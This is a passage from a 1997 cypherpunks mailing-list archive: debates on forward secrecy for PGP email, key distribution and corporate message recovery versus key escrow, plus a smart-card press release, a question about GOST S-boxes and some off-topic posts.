MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@invweb.net> writes:
> >I think this is taking it too far.  Have you considered how much traffic
> >DNS handles right now?  I would have thought it would be many orders of
> >magnitude more than forward secret email is going to cause. Web traffic
> >is the bulk of network communications, just imagine the DNS lookups
> >caused by 50 million netters clicking away. 
> 
> Yes but everyone's Ip's aren't changing every week. It's not just a matter
> of the multitude of requests that would be required in this systems as
> everyone will need to update all their keys on a weekly basis but also the
> DNS records will be having this turnover. the DNS system has enough
> problems as it is let alone what would happen with the implementation of
> forward secrecy would cause (my best guess that within a week or two the
> whole thing would crash and burn).

Your argument neglects that it was you who was arguing for DNS
distribution of keys.  I was never too keen on this idea.  Your
descriptions of the near breaking point reaffirms my dislike, though
I'm not sure I agree with your crash and burn predictions.  Mind, DNS
maintenance is not something I have a great deal of familiarity with.

My comparison was intended to be "implementing forward secrecy by
storing comms keys on keysevers using ad-hoc distribution of
distributed keyservers would cause orders of magnitude less traffic in
total than current DNS requests".  I think that sounds entirely
reasonable.

By ad-hoc distribution of key-servers I mean key servers which don't
have replication but rather store keys for some designated set of
users within a set of domains.  The DNS would be a good place to store
the resolving mechanism for deciding where the keyservers live.
Similar perhaps to the way you use a DNS MX record to find a mail
exchanger for the domain name you're trying to send to.  Use DNS
keyserver extension record to find keyserver IP address.

With that architecture, the whole thing sounds pretty scalable, and
adds negligble extra overhead to the DNS system.  Storing the keys
themselves directly into DNS is something people get interested in for
IPSEC, and for that application it seems more reasonable.

> >Bear in mind also that once the new key has been issued, you could also
> >release a deletion request for the previous one on the keyserver in the
> >form of a revocation certificate.
> 
> You would have to otherwise you would run out of storage very quickly.

Indeed!

> The best I can think of handleing the key distribution problem is to
> attach a copy of your key to every correspondence and then have the client
> automatically check and see if it has changed and update the keyring as
> needed. 

My thoughts also.  In fact for particularly short lived keys I have a
scheme worked out where key servers are not used at all.  I haven't
really described this scheme yet, as people seem to be raising enough
objections over the logical uses of current PGP functionality.

> If find both the automatic processing & sending the key with every
> messages quite bothersome (these are PKS implementation issues that
> should be covered in a different thread).

Well I thought it was a neat idea.  Perhaps that is because you have
the world view that every email recipient has a direct IP or at least
a dialup with flat rate connection charge, and also another reason I
thought it was neat was because I was considering it as a mechanism to
enable per message forward secrecy in a manner which I still haven't
explained in any detail.

> [protecting against users who store keys on sticky notes]
> 
> Well IMHO this scenario does not forward your cause much. If the physical
> security is that bad (unrestricted access to equipment, weak passphrases,
> Post-it-Notes, ...ect) then the information an attacker is looking for is
> more than likely going to be available to him without messing with the PGP
> keys. 

Yeah, well perhaps it wasn't that great an example.  However you can
see that extra security is being imparted even into this less than
ideal scenario.  These security problems are representative of the
problems some real life businesses face.  Most company employees do
not extract as much fun from the arcane fine points of best security
practice as we do.  They probably view security as an inconvenient
imposition, forcing them to learn things they don't want to know
about.

> If the reverse is true and the physical security is strong the the
> case for short-term separate keys is gone as the risk of exposure to
> a long term key is greatly reduced.

Ooh no.  It's not gone at all.  I think you are being a tad closed-
minded here.

If you have excellent security practice, you are still vulnerable to a
number of attacks which my proposal gives extra protection from:

1. being blackmailed, or having the password for your encryption key
   with 1 year expiry period rubber-hosed from you

2. having a keyboard sniffer installed by the Feds burgling your house
   whilst you are out.

3. having a virus installed by an attacker remotely or directly
   infecting your machine

With all 3 of these cases your security is blown wide open, despite
your 100 bit entropy pass-phrase and crypto-anarchist 'tude: "you'll
get my key when you pry it my cold dead fingers", and apparent
reasonable security precautions you will have blown your security.  If
your key had a 1 year expiry that might mean the Feds get up to 1
year's worth of the plaintext from the encrypted traffic they had been
meticulously collecting from their collaboration with invweb.net.

Now consider what happens to the above attacks when you have forward
secrecy:

1. blackmail/rubberhose .. it's kind of hard to not notice black mail
   or having passwords rubber hosed from you.  So as you have used my
   recommendations of the most paranoid forward secrecy setting (1 new
   key per message, sent in message) the attacker gets zip.  He gets
   nothing.  With a key update time of 1 day, your attacker gets up to
   one days plaintext, or with 1 week update up to 1 weeks comms.

2. keyboard sniffer .. presuming that you don't notice it, the
   attacker gets traffic going forward in time, but doesn't get old
   traffic

3. virus .. presuming that you don't notice it, the attacker gets
   traffic going forward in time, but doesn't get old traffic

I think that is a security advantage, wouldn't you agree?


There are quite a lot of precedents for using forward secrecy... for
example SSH, SSL, and some of the IPSEC protocols.  They aren't using
forward secrecy for phun, they're using it to increase security also.

Granted it's easier to do interactive forward secrecy with IP
connections than email, but forward secrecy is just another term which
describes something we are all already very familiar with: key expiry.

Consider why does PGP provide you with a mechanism to expire keys.
The reason is because it's acknowledged that it's a good idea to
change the keys now and then -- because this provides you with forward
secrecy -- the longer you use the same key the more the risk that it
is compromised accumulates, and the more value it will have to the
attacker because of the larger number of messages it is protecting.

So all I am really saying is that shorter key expiry times give you
more security... not that radical a statement I don't think.

> >That much as such doesn't need any modifications to the current PGP
> >standard.  It's an implementation issue.  Another vendor could easily
> >already implement this type of functionality.
> 
> I have some serious reservations of the security implications of frequent
> changes to the keys. It has the potential for the user to disregard all
> changes to the keys (think how quick the warning pop-ups in Netsacpe get
> ignored and/or disabled by the user). The other possibility it to make the
> key changes transparent to the user which I do not like at all for obvious
> reasons (I do not see complete isolation of the user from the cryptosystem
> as a Goodthing(TM) ).

Heh.  Well there is where we part company then, because I do think
hiding some parts of the crypto innards where this is appropriate is a
good thing.  I think the generation of new transient keys is one such
case.

You are already using this mechanism every day anyway: your SSL
enabled web browser will be setting up key exchanges using short lived
communications keys with secure web servers.  You do see notices when
you haven't agreed to trust this organisation before, but you will
observer that netscape asks you if you would like to trust this
organisation this session only, or for all further sessions.

What I am proposing is the same "for all further sessions", applied to
PGP.  I reckon it is more secure because you have the PGP WoT to help
guide you in your decisions, where as I currently find a lot of web
sites using uncertified server keys, and I'm not sure how much
security the very limited numbers of hierarchical server certifcate
issuers provide in practice.  I prefer the PGP WoT where I can get
face to face transfer of keys with people.  The trust is much more
immediate.

> >Also I'm arguing for separate communications and storage keys, I think
> >this is almost essential once PGP starts to work with escrow schemes,
> >because there are similar arguments for separating storage and
> >communications keys as there were for creating separate signature and
> >encryption keys from the original single key.
> 
> Well I have been thinking more on this. I still am not sold that separate
> keys are needed but even if they are I am inclined to believe that PGP is
> not the place for them. I am leaning towards the opinion that file
> encryption should be handled by the files system along with other disk
> security features. This seems more appropriate than having your e-mail
> client doing individual file encryption.

I agree with you there.  That is way the most appropriate place to put
storage encryption.  However (and this is my point also in another
form), if you were to do this, you would want to use a different key
than the one you use for protecting communications keys, because the
storage key may have different expiry requirements, and different
escrow requirements.

But... we have a circular dependency in our argument here, because
when I was arguing that you didn't need to encrypt the contents of
your mail folders 10 messages back or so, you jumped in and said that
you kept email communications encrypted in your mail folder.

I accepted your point, and countered that if you wanted to encrypt
messages in your mail folder, that you should use a storage key to do
so.  (Otherwise you couldn't sensibly make use of the expiry feature
on your communications key, as when your comms key expired, so would
your access to your mailbox!)

I agree with your above suggestion that it is actually easier, safer
etc, to use disk level encryption systems.  However I do think we have
to face that these are not that widely deployed yet, and that people
like yourself a few days back are correct in arguing that there may be
a case for building the functionality of encryption of stored traffic
in folders.  As PGP Inc is fielding integrated Mail clients which have
mail folders managed by the mail client, this gives us the case for
separate storage and communications keys.

This also gives a convenient place to put escrow -- you escrow the
storage key.

This implementation would completely avoid all arguments about PGP 5.5
being GAKware.

> >I also personally prefer people to send me keys in email, because the pay
> >per second phone lines here at home mean that I tend want to avoid doing
> >too many online key lookups, so I think this would be an individually
> >useful feature.
> 
> I do my keylookups automatically durning the msg filtering process which
> is done in parallel to the message Dl's. 

A clever optimisation to be sure.

> The outbound message lookups are a little more time consuming but is
> compensated by fewer keys to look for both because fewer messages on
> the outbound side and the use of key caches on the client machine
> for the most used keys for sig verification and encryption. 

I don't have a key cache, and my keyring is only 216k.  But I'm
curious about your automated process .. are you also checking all
signatures that you can by downloading the keys and checking out the
WoT for all received mailing list traffic etc?  This would cleary
result in a much bigger key ring.

> Also logging of e-mail addresses that do not use PGP cuts down on
> the number of lookups needed

Good optimisation.  It sounds really as if your OS/2 setup is more
advanced than a lot of other stuff around.

My setup is GNU emacs with Pat LoPresti's mailcrypt.el PGP and
remailer support lisp extension for emacs RMAIL and emacs GNUS
(newsreader).  I love it to bits.  It is totally excellent.  It
doesn't have a couple of your optimisations, but other than that it's
pretty good.  When you send messages, if you don't have the key it
will fetch it for you by trying keyservers, then finger user@domain.
It can snarf keys out of mail messages, paste keys into them, sign,
encrypt, check signatures, use remailers (type I and mixmaster).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 14 Oct 1997 10:16:12 +0800
To: cypherpunks@toad.com
Subject: Suicides don't forfeit their property
In-Reply-To: <zean5y0o3WJQMrNa81vCCw==@bureau42.ml.org>
Message-ID: <v03102800b06881a010f4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:42 PM -0700 10/13/97, bureau42 Anonymous Remailer wrote:
>Jim Choate <ravage@ssz.com> wrote:
>
>> Thought some of you might care to know that James A. Michner the Pulitzer
>> prize winning author who lives here in Austin, Tx. has decided to take
>> himself off the kidney dialysis machine that has been keeping him alive.
>
>The same organizations who seek to banish the
>Suicide Doctor Kevorkian are probably up in arms
>over this announcement.
>
>"This should be illegal!"
>
>"Keep him alive!"
>
>Suicide is illegal in most "democracies" for one
>reason - so that the State can confiscate the
>material goods of the deceased.

This would be a nice example if it were true. But it isn't true in the
U.S., for example.  I don't know the situation in France, the U.K.,
Germany, etc., but at least in the U.S. this is generally not so.

In California, and in other states I suspect, suicide has nothing to do
with probate. Were I to kill myself tonight, my heirs would inherit as if I
had died of some disease, or been murdered by the Thought Police.

(ObAproposOfNothing, I was out working in my yard last night, with Monterey
and Pacific Grove gloriously visible in the distance. Had I been looking
with my telescope or binoculars, I could've seen John Denver's plane go
down.)

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 14 Oct 1997 06:18:18 +0800
To: Adam Back <cypherpunks@toad.com
Subject: Re: typo & too much time (Re: Stronghold)
In-Reply-To: <199710130033.BAA01002@server.test.net>
Message-ID: <19971013.190136.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



on or about 971013:0133 
    Adam Back <aba@dcs.ex.ac.uk> was purported to have 
    expostulated to perpetuate an opinion:

+I wrote:

+> However another aspect to this argument over credentials is a comment
+> that arose when another person with a PhD who used the title "Dr" in
+> his From line subscribed to the list.  That person was Fred Cohen.
+> His above average education in having his PhD didn't seem to reflect
+> in his posts, and several people commented on this fact.  It seems to
+> be that listing qualifications in From fields is asking for rude
+> comments, or it seems to attract criticism :-)
+> 
+> I can say I like the practice.
+    ^^^

+typo, I meant to write "I _can't_ say I like the practice".

-----BEGIN PGP SIGNED MESSAGE-----

    as I always refer to my degree of {in}competence:

        PiledHigherDeeper

    in Zuerich is was Hr. Dr. Prof....  but then, the Swiss love 'em.

    as for Cohen, he was a fraud, and will always be a fraud. he was
    defrocked of his professors gown for some irregularity.

    he was fun to attack though <g>


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNEJxT704kQrCC2kFAQG93AQAsaqNFV30tbmOmanknXUwLXWTk8vN1Gpy
QQVUq/+yNJHRvoIusYclewZVJc5/29VIrDTVs8NYAh9hjiwoaHpSW82SAaIsz2eX
JS2Cr+8i4/QsV/lDWsykJT00QcP9lommpg4zJ3BNtwblKdfXAnQy9NDuxlCFGOtZ
ZEM5m+nL2gs=
=rNOp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 14 Oct 1997 10:17:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: D-H Forward Secrecy for E-Mail?
In-Reply-To: <v03102801b066b3b308e0@[207.167.93.63]>
Message-ID: <v03102801b06884d6d213@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:33 AM -0700 10/13/97, Attila T. Hun wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>    great idea, Tim. [total previous text follows my comments]
>
>    paraphrase of Tim's basic suggestion:
>
>        ...to consider DH session keying in real time or the latency of
>        maybe IRC, etc (several seconds?) to be able to dispose of the
>        session keys which makes subpoenas signifantly more difficult.
...

Just to clarify, I am far from the first to suggest this. In fact, my
ramblings were inspired by seeing Adam Back's comments (and he was of
course not the first either to discuss the advantages of perfect forward
secrecy for e-mail).

Probably my latest ramblings have a lot to do with the posts about the
Comsec secure phone. It, of course, offers perfect forward secrecy. To wit,
if the Feds demand that I produce the keys used for a phone call I had last
week with Hugh Daniel, for example, I can honestly shrug and say "You don't
seem to understand these things."

Lots of advantages to somehow applying this to e-mail. (As Lee Tien and
others have noted, the D-H protocol can be applied to e-mail. A point cited
by Diffie and Hellman about 20 years ago. The issue is integration with
mailers, latency times, etc.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 14 Oct 1997 08:24:33 +0800
To: cypherpunks@cyberpass.net
Subject: Public Key Smart Card
Message-ID: <v031107eeb06862e17df2@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Mon, 13 Oct 1997 18:48:39 -0400
From: Robert Hettinga <rah@shipwright.com>
Reply-To: rah@shipwright.com
MIME-Version: 1.0
To: rah-web <rah@shipwright.com>
Subject: Public Key Smart Card

http://www.businesswire.com:80/cgi-bin/sr_headline.sh?/bw.101397/501100

              [(c) 1997 Business Wire | www.businesswire.com]
----------------------------------------------------------------------------


BW1111  OCT 13,1997       5:29  PACIFIC      08:29  EASTERN

( BW)(GEMPLUS) Gemplus Announces Availability Of GPK4000, Public Key
Smart Card

    Business Editors

    MONTGOMERYVILLE, Penn.--(BUSINESS WIRE)--Oct. 13, 1997--

       First Smart Card To Combine Digital Signature,
    On-Board Key Generation, and Electronic Payment With
               Multi-Application Functionality

   Gemplus today announced the availability of GPK4000, the first
public key smart card to combine digital signature, on-board key
generation, and electronic payment with multi-application
functionality.
   The GPK4000 smart card, with its advanced cryptographic
co-processor, can be used to secure Internet, intranet and extranet
transactions in such applications as electronic commerce and computer
security.
   GPK4000 features full cryptographic functionality, including
1024-bit RSA-based digital signature at sub-second speed and 4 Kbytes
of application memory.  Additionally, it provides an on-board key
generation mechanism that ensures that the private component of the
public key that performs the cardholder's digital signature is never
seen outside the card.
   GPK4000 keys, whether generated internally or loaded by the
issuer, can be certified by any certification authority through the
card's ability to store industry-standard X.500 certificates in the
card's memory.  The card has also been specifically designed to
strengthen the security of Web sites that rely on the SSL3 protocol
for mutual authentication of client and Web server.
   "We are pleased that industry leader Gemplus has chosen RSAs
industry leading technology for their high-quality, high- performance
smart card,"  said Jim Bidzos, president of RSA Data Security, Inc.
"RSA is considered to be the most trusted encryption available,
whether for Web browsers or smart cards.  When it comes to
applications of smart cards such as electronic cash or personal
identity, there is no such thing as too much security.  Users can use
these smart cards with the greatest of confidence."
   Gemplus GPK4000 cards will be used in the upcoming version 2.0
release of ImagineCard, the only complete security solution for both
corporate applications and Web services, jointly developed by
Hewlett-Packard, Informix and Gemplus.
   "The additional capabilities of Gemplus GPK4000 enable our
customers to deploy more comprehensive smart card applications based
on ImagineCard solutions,"  said Christian Roy, general manager of HP
Enterprise Networking and Security Division.  "Through ImagineCard
and the strength of Gemplus GPK4000 card, HP meets its commitment to
bring the benefits of smart cards to support the extended enterprises
business processes."
   "Authentication is a necessary component for the widespread
adoption of electronic commerce,"  said Anil Pereira, director of
corporate marketing for VeriSign.  "VeriSign Digital Ids stored on
Gemplus GPK4000 smart cards provide Internet and corporate network
users with a convenient, portable method for secure access to online
resources and a trusted, proven solution to participate in secure
communications and online payments."

                  Gemplus Public Key Cards

   GPK4000 is the second in a line of Gemplus public key smart cards
for securing Internet, intranet and extranet services.  The GPK2000
card, with 512- and 768-bit key lengths was announced in 1996.
   The GPK (Gemplus Public Key) family will continue to be enhanced,
with future versions including more memory and additional
functionality.  The GPK card range is compliant with ISO7816-1, -2,
-3, -4 and is EMV compatible.  GPK4000 features a suite of developer
algorithms, including RSA, DSA/DSS, DES, Triple-DES, MD5 and SHA1.

                     GPK Developers Kit

   The GPK Developers Kit enables developers to prototype
applications.  It includes:

    --  PILOT GPK, Windows-based software for rapid application
        development and personalization;

    --  A card reader (GCR410) with RS232 serial port connection;

    --  Sample GPK4000 cards; and

    --  A reference manual and application notes.

                        About Gemplus

   Gemplus Corporation is the North American subsidiary of Gemplus
Group, the world's leading producer of magnetic stripe and smart
cards.  It manufactures and sells memory cards, microprocessor cards
(both contact and contactless), magnetic stripe cards, as well as
electronic tags.  It also designs and markets software, terminals and
systems; and provides personalization, consultancy and training
services to offer its customers comprehensive solutions.
   In 1996, Gemplus Group's total sales were $440 million.  By the
end of 1997, the company will have a production capacity of 900
million plastic and smart cards.
   Gemplus sells its products worldwide for such applications as
public and cellular telephony, financial transactions, loyalty,
transportation, education, healthcare, gaming, identity, access
control, pay TV, security for computer networks and electronic
commerce.  Information about Gemplus' products and services can be
found on the World Wide Web at: http://www.gemplus.com.
-0-
All trademarks are the property of their respective owners.

    --30--kdb/ny*

    CONTACT:  Dr. Patricia Neptune
              Neptune Group International Inc.
              (203)221-2820 or
              pneptune@neptunegp.com

    KEYWORD:  PENNSYLVANIA
    INDUSTRY KEYWORD:  COMPUTERS/ELECTRONICS COMED PRODUCT

Today's News On The Net - Business Wire's full file on the Internet
                          with Hyperlinks to your home page.
                          URL: http://www.businesswire.com

                                  [Image]

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Mon, 13 Oct 1997 22:44:50 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: GOST
Message-ID: <199710131950.TAA00414@fountainhead.net>
MIME-Version: 1.0
Content-Type: text




I am developing a product that would use GOST for encrypting data 
streams. This is mostly beacuse its design and simplicity hold
considerable aesthetic value, atleast for me. 

Most of the related text I have read indicates
that some SBOX sets can be cryptographically weak, and
its a good idea to use SBOX data as key data instead. 

Pointers? 

-- 
Powell lingered. "How's Earth?" 
It was a conventional enough question and Muller gave the 
conventional answer, "Still spinning."
				      -- "Reason", Asimov. 
==================================================================
Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@best.com 	                  | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 14 Oct 1997 08:21:51 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <2c3ca4d2c91ee39c9c59f084d31180a3@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



On terrorists, one of the Four Horsemen.



IS THE ASSAULT ON NATIVE INTELLIGENCE &
GOOD WILL WE CALL THE EVENING NEWS
ANYTHING OTHER THAN AN ACT OF TERRIORISM?


What was the Gulf War but terrorism
wearing the death mask of order?--
One big car bomb it was
the guys who drove it
are dying now one by one--ignored!

Is acid rain a form of terriorism? (Think for yourself.)
Is GATT or NAFTA anything but a pact among brigands--the World Bank, the
   IMP their backup men?
How long before they fight over the spoils?
Who'll do the fighting for them?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 14 Oct 1997 03:35:32 +0800
To: nobody@REPLAY.COM
Subject: Re: Auto-archiving cleartext is GAK
In-Reply-To: <199710130335.FAA19075@basement.replay.com>
Message-ID: <199710131924.UAA02724@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous gives some more good feed back on the PGP GAK argument.  A
real battle of wits here, anonymous appears to be a pro, probably a
PGP employee, anonymous doesn't miss anything (apart from the fact
that he has apparently swallowed whole the "communications key
recovery" fallacy being spread by the GAKkers).

Anonymous writes:
> Advocates of the model where software is automatically archived on
> receipt, either in cleartext or re-encrypted with a corporate key,
> need to be aware that there are problems with it:
> 
> No notification to sender about the policy.
> 
> [..]  People should know if their mail is going to be automatically
> saved in the clear to a company archive.  The best way to make sure
> of that is to have the sender be the one to do it, or not.

Hmm, you've turned that argument on it's head there, and come up with
an interesting counter point.

I'm not sure it's that valuable a distinction though, because you
can't enforce it either way.  You really have no idea what the
recipients software is doing, nor who the recipient is printing out
and showing your email to.

I think that the best that can be hoped for is that it is considered
fair play, and a convention that businesses are encouraged to adopt,
that second reader policy, and storage policy is flagged.

Following from your concerns it would seem we currently have 3
possible "how I treat email" flags:

- email is readable by company
- email is being archived for company records
- email is being archived in the clear
- email is discarded after reading

Interestingly pgp 2.x has an option to partially suggest that last
one, a kind of "don't save in clear" request (from pgp.hlp in pgp263i):

Use -m to force display of plaintext only (no output file)

I know one person who used to regularly send me stuff encrypted this
way -- it used to cause my mail client to barf (emacs RMAIL &
mailcrypt.el) because it couldn't cope with this, so I had to manually
read it with the command line pgp, which would insist on displaying it
to you with it's pager, and not storing it to file.

Quite a nice privacy touch.


Anyway you used your point to argue that:

> The best way to make sure of that is to have the sender be the one
> to do it, or not.

which I take to mean that you are using that to argue that the PGP
GAKware enforcement feature is a good idea.

I strongly disagree because a) communications keys should be shorter
lived than storage keys, b) the way the PGP GAKware enforcement and
flags are implemented is literally an full GAK implementation, c) that
it is less secure to put extra doors into what should be for security
reasons short lived keys.

> No way to prevent third-party access.
> 
> With the corporate message recovery feature, the sender has the
> option of simply ignoring the recovery key and sending it encrypted just
> to the recipient.  Some corporations won't let it through, others will.

True.

> Some companies will want mail to be made recoverable by default, while
> still allowing an escape clause for personal mail and special purposes
> (like for "sensitive" mail which needs protection against subpoena
> and discovery).  They can use the "optional" CMR mode.  Again, senders
> are always notified as to which mode is being used by a given company,

Notifying senders of the archiving and access policy is good and to be
encouraged, however it never proves anything about what is actually
happening to your email, nor can it.

> and senders can be confident that if they don't use the third-party key,
> no access will be possible.  

I don't think this is true.  They will have no more proof that this is
the case than they will have with the storage recovery key solution.
Consider: the company could just as easily take copies of the email
after the user decrypts it with CMR.

The user may have an _expectation_ that there is no third party
access, but they can only hope that their expectation tallies with the
truth of the situation, and this is the case for either my storage
recovery solution, or PGP's CMR solution.

So there are no meaningful differences from this angle.

There are two major and definately meaningful differences between
corporate storage recovery (CSR) and CMR:

- CMR is a fully functional GAK implementation CSR is not

  This is directly analogous to the difference between GAK and data
  recovery, and was the reason the cypherpunks that Jon Callas
  observed chanting "key recovery bad data recovery good" where
  chanting.  The irony was Jon didn't realise that he was falling for
  the GAKker promulgated fallacy that these cypherpunks were chanting
  against, and yet he was using the same chant in his arguments not
  realising what it meant.

- CSR is more secure because:
  a) it allows shorter lived communications keys
  b) because it leaves no long term doors into communications, whereas
     CMR leaves two doors into communications

> With automatic encryption and archival on receipt, all mail will be
> archived, and senders have no notice and no guarantee that stated
> policies will be followed.

You have no guarantees either way.  You can implement any
functionality for storage, escrow, and message snooping with varying
loose degrees of tamper resistance into either CSR or CMR, using a
combination of storage key escrow (CSR) and Mail client enforcement or
GAKware (CMR) with the session key going over the wire encrypted to
the GAK master key.

As I said above, the best we can do is to encourage truth in
advertising about storage policy and number of people who can read;
and to provide flags to express these meanings within the OpenPGP
standard.

> No escape via super-encryption.
> 
> Even if the company is mandating a recovery key and filtering out
> messages which aren't encrypted to it, the sender still has the option to
> super-encrypt with the recipient key alone, before sending the message
> encrypted to the corporate recovery key.  This ensures that only the
> recipient's personal key can read the message.  With software which
> automatically saves the cleartext of the message, once the user reads
> the data it is available to the corporation via the snoopware.

Wew.  Hadn't thought of it that way.  Well you could choose to
implement it that way, or you chose not to at your option.  It hadn't
even entered my head to implement it that way! and I would strongly
argue against so doing.  (I am starting to appreciate how PGP people
must feel about my criticisms of their features; never-the-less, I am
confident that my argument is correct, and it is they who have allowed
themselves to be blinded by the GAKkers fallacy of escrowing
communications keys (the chanting cypherpunks mantra explained above)).

However, and this shows how you can still trivially hack around it,
you could super encrypt to a key which wasn't storage escrowed.

I also have said things about "official email" and "unofficial email"
which I considered companies should be encouraged to provide for their
employees, and there is a case to be made for this as argued by Tim
May and Bill Frantz recently, which is that it is probably not in the
companies interests.

I originally started out thinking that companies didn't as such need
much in the way of access to old email messages, or that they could
store them in the clear and encrypt the whole disk with recoverable
storage keys.  However some tenacious people (you?) started arguing
that it would be a security breach to store email in the clear after
having encrypted it for communications.  There is also the case to
consider of the PGP Inc mail client which does not integrate disk
storage functionality.

Therefore I was worked out a sample architecture demonstrating that
you could archive email in encrytped form if you wanted to acheive
this without needing GAK compliant architectures such as CMR.

I would also defend myself from the above slur that I was trying extra
hard to ensure that there is no escape from super encryption.

I have lots of ammunition, don't worry :-)

The reason that I am trying to demonstrate that you can enforce any of
this at all, is that some of the GAKware proponents on the list
(anonymous and not) argue that it is necessary not just to have access
to communications keys for data recovery purposes to ensure data
availability (there's that recurring fallacy again), but also that it
should be possible for the company to snoop on the user without the
user being able to avoid this.

If you are at all worried that your GAKware CMR system doesn't quite
meet up with the flexibility of my system in allowing you to get all
little brotherish and enforce things, well I can make a suggestion as
to how to increase the enforcement rate of your GAKware system.

Do a web search on "Binding Cryptography" by a guy called Bert-Jaap
Koops, and a couple of co-authors (I think another of the authors is
the main author, but I don't remember their names right now.)  I was
particularly disappointed at the time with Bert-Jaap for allowing his
name to be put on a paper describing a technology which has only one
purpose: GAK enforcement, and expressed this to him.  However I
suppose technology is neutral -- it is what you use it for that is the
problem, probably it could have some other uses.

So, y'all PGP Inc GAK lovers will love what this allows: it allows you
to enforce at your GAKware big brotherish SMTP policy enforcer app on
the inbound direction that not only is the El Gamal key with the
correct key-id there in the GAK master key second recipient, but that
the same session key is in use inside of the users PKE packet.

Not that I'm suggesting that you do that or anything, I merely draw it
to your attention to demonstrate my point that either of the systems
can be implemented in varying amounts little brotherishness, but that
the over-riding point still remains that CMR is a fully functional GAK
system where-as CSR is functionally useless for GAKkers because they
want to read your communications, not what is stored on your disk.

This is because the GAKkers will have to break in to your building to
get your disk, this is not nearly enough fun for the Feds, because
they kind of fancied having push button remote key word scans of the
entire world communications.

(Remember the meme the chanting cypherpunks were trying to promulgate
as described above: governments want access to comms keys, businesses
want access to storage keys.  This cypherpunks meme is absolutely
central to the whole argument).

> Facilitates GAK!
> 
> Suppose this solution is adopted, and software is developed which
> automatically re-encrypts received email and sends it to a secure archive.
> It's robust and works with a wide variety of email packages.  Now the
> government could simply mandate this to be used for all mail reading
> software.  

You are indeed an observant anonymous person!  I'm obviously dealing
with an extremely bright person, even if he seems to have swallowed
the inherent fallacy of the communications "key recovery" meme which
the GAKkers are promulgating.

I too fretted over this possibility.  And this is why I tried to avoid
the idea that you would have a central company archive of stored
encrypted email.  I couldn't work out a way to ensure that the
communications which were intended to occur inside the corporate LAN
could be prevented from being abused to implement GAK, a problem that
you so observantly spotted also.

Aside from being awkward and implementing it with screwy transfer
protocols so that it was all non-standard, it seems inherently
difficult to avoid.

So firstly I switched to contenting myself with satisfying what PGP
Inc claimed the user requirements for CMR where.  To me this meant
that centralised backup would have to be avoided to avoid GAK
compliance.  You could argue independently that not doing this is far
less little brotherish anyway.  Also that you can enforce to some
reasonable degree storage on the local machine, to give second access
to the users mail folder, which is better than having a central
snoopware HQ, which can then be perverted to become NSA GAKware HQ.
(Granted the employee could purposely trash the disk by taking it out
and breaking it -- but you'd still have backups from the last backup
point -- and we're not after 100% success rate because there are other
easier ways to bypass the system).

Jon Callas claimed the main company requirement for data recovery was
for companies to be able to retain data availability.  So if we take
him at face value, that presumably means that companies don't
especially want high assurance snoop functionality to read email where
recipients refuse to decrypt it, or go to extra efforts like
super-encryption.  Jon Callas and other PGP employees also argued as a
plus point for the CMR design that it was easy to bypass.  This
suggested that users could deny company data availability in a number
of ways, and that PGP employees wouldn't be losing sleep over that.

Well CSR achieves all that.  You can hack it in various basically
analogous ways that you can hack CMR.

Now, as I describe above, the reason that I started talking about
tamper proof clients was to demonstrate to those who complained of
loss of company ability to snoop in the face of a company employee
